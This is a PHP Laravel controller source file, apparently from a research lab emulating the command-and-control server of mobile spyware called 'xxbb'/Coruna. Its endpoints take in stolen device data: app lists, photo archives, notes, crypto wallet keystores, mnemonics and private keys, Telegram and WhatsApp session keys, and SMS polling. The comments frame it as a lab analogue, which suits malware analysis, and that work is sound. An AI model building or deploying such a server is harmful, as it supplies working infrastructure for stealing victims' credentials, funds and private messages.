Files
coruna-lab/app/Http/Controllers/C2/XxbbC2Controller.php
T
2026-08-30 23:36:30 +08:00

268 lines
10 KiB
PHP

<?php
namespace App\Http\Controllers\C2;
use App\Http\Controllers\Controller;
use App\Http\Middleware\DecryptXxbbBody;
use App\Services\CorunaArchive;
use App\Services\IngestService;
use Illuminate\Http\Request;
use Illuminate\Http\Response;
use Illuminate\Support\Facades\Storage;
/**
* xxbb short-path C2. Ingest matches lab C2Controller; ack body is `{x-ts}{}`.
*
* Native path map (corepayload + details plugins):
* /a census (creates device from deviceInfo), /u applist, /event telemetry, /t photo multipart, /nb notes,
* /uj /us /ub /ba /result wallet plugins (keystore / mnemonic / addresses),
* /api/tg/t Telegram auth (tglib), /api/wp/t WhatsApp session (wap),
* /m/t/g /m/t/r imagent SMS poll / report (sms).
*
* Core routes (/a, /u, /event) attribute channel_id from request headers ver/sdkv.
* Plugin routes do not write channel_id (same as /api/tg/t).
*/
class XxbbC2Controller extends Controller
{
public function __construct(
private readonly IngestService $ingest,
) {}
public function vhx(): Response
{
return response('ok', 200)->header('Content-Type', 'text/plain');
}
/** Lab analogue: POST /api/user/avatar/set — device census; create from deviceInfo. */
public function profile(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
return $this->xxbbAck($request);
}
/** Lab analogue: POST /api/user/get */
public function apps(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
$this->ingest->ingestInstalledApps($device, $payload);
}
return $this->xxbbAck($request);
}
/** Lab analogue: POST /api/user/avatar/put */
public function event(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
$this->ingest->ingestDevicePhone($device, $payload);
$this->ingest->ingestDeviceEvent($device, $payload);
}
return $this->xxbbAck($request);
}
/** Lab analogue: POST /api/user/check — photo 7z multipart. */
public function photos(Request $request): Response
{
$rawKey = $request->attributes->get('coruna_device_key')
?: $request->input('d')
?: $request->input('f');
$deviceKey = is_string($rawKey) && $rawKey !== ''
? IngestService::normalizeDeviceKey(substr($rawKey, 0, 64))
: null;
$device = $this->ingest->ensureDevice(
$request,
array_filter([
'd' => $deviceKey,
'c' => $request->input('c'),
'channel' => $request->input('channel'),
]),
$deviceKey
);
$batchBase = (string) ($request->input('batchBase')
?? $request->input('batch_base')
?? $request->input('base')
?? $request->input('ts')
?? '0');
if ($batchBase === '') {
$batchBase = '0';
}
$xHitRaw = $request->input('x-hit');
$xHit = is_numeric($xHitRaw) ? (int) $xHitRaw : null;
[$uploadCount, $processIndex] = IngestService::decodeHexCounterPair($request->input('idx'));
[$textCount, $barcodeCount] = IngestService::decodeHexCounterPair($request->input('ftu'));
$photoMeta = [
'x_hit' => $xHit,
'upload_count' => $uploadCount,
'process_index' => $processIndex,
'text_count' => $textCount,
'barcode_count' => $barcodeCount,
];
$attachmentRel = null;
if ($request->hasFile('file') && $device && $device->fresh()?->albumStorageEnabled()) {
$bytes = file_get_contents($request->file('file')->getRealPath());
$work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid());
$extracted = $this->xxbbArchive()->extract($bytes, $work, $batchBase);
$attachmentRel = 'c2/check/'.$device->device_id.'/'.basename($work);
Storage::disk('local')->makeDirectory($attachmentRel);
if (! empty($extracted['files'])) {
$this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta);
}
create_log([
'event' => 'xxbb_photo_extract',
'device_key' => $device->device_id,
'attachment_path' => $attachmentRel,
'extract' => [
'ok' => $extracted['ok'],
'files' => array_map('basename', $extracted['files']),
'password_recipe' => $extracted['password_recipe'],
'stderr' => substr((string) $extracted['stderr'], 0, 2000),
],
'photo_meta' => $photoMeta,
'raw_counters' => [
'idx' => $request->input('idx'),
'ftu' => $request->input('ftu'),
'ts' => $request->input('ts'),
'x-hit' => $xHitRaw,
],
], 'xxbb');
}
return $this->xxbbAck($request);
}
/** Lab analogue: POST /api/user/avatar/pic — Notes `list`. */
public function notes(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
$this->ingest->ingestNotes($device, $payload);
}
return $this->xxbbAck($request);
}
/**
* Plugin reports: /uj /us /ub /ba /result.
* Dispatch by payload shape onto the same ingest as lab long paths.
*/
public function plugin(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
if (isset($payload['ba']) || isset($payload['ad']) || isset($payload['data'])) {
$this->ingest->ingestAddresses($device, $payload);
}
if (array_key_exists('result', $payload)) {
$result = $payload['result'];
$asKeystore = is_array($result);
if (is_string($result)) {
$decoded = json_decode($result, true);
$asKeystore = is_array($decoded);
}
if ($asKeystore) {
$this->ingest->ingestKeystore($device, $payload);
} else {
$this->ingest->ingestMnemonic($device, $payload);
}
} else {
// BitKeep / Global Wallet may send privateKey without wrapping `result`.
$this->ingest->ingestMnemonic($device, $payload);
}
}
return $this->xxbbAck($request);
}
/** tglib: POST /api/tg/t — Telegram user_id + atomic-state + db_sqlite. */
public function telegram(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
$this->ingest->ingestTelegramAuth($device, $payload);
}
return $this->xxbbAck($request);
}
/** wap: POST /api/wp/t — WhatsApp session keys (parallel to /api/tg/t). */
public function whatsapp(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
$this->ingest->ingestWhatsAppAuth($device, $payload);
}
return $this->xxbbAck($request);
}
/**
* sms: POST /m/t/g — poll outbound SMS tasks.
* Lab never queues send tasks; code=1 + empty data matches native backoff.
*/
public function smsPoll(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
$this->ingest->ingestDevicePhone($device, $payload);
$this->ingest->ingestSmsHeartbeat($device, $payload);
}
return $this->xxbbAck($request, ['code' => 1, 'data' => []]);
}
/** sms: POST /m/t/r — task result / status. */
public function smsReport(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
$this->ingest->ingestDevicePhone($device, $payload);
$this->ingest->ingestSmsTaskReport($device, $payload);
}
return $this->xxbbAck($request);
}
private function xxbbArchive(): CorunaArchive
{
return new CorunaArchive(
DecryptXxbbBody::crypto(),
(string) config('coruna.seven_zip', ''),
);
}
/**
* @param array<string, mixed>|null $body
*/
private function xxbbAck(Request $request, ?array $body = null): Response
{
$ts = (string) $request->attributes->get('xxbb_ts', '');
if ($ts === '') {
$ts = (string) ($request->header('x-ts') ?: '');
}
if ($ts === '') {
$ts = (string) (int) round(microtime(true) * 1000);
}
$json = $body === null
? '{}'
: (json_encode($body, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES) ?: '{}');
return response($ts.$json, 200)->header('Content-Type', 'text/plain');
}
}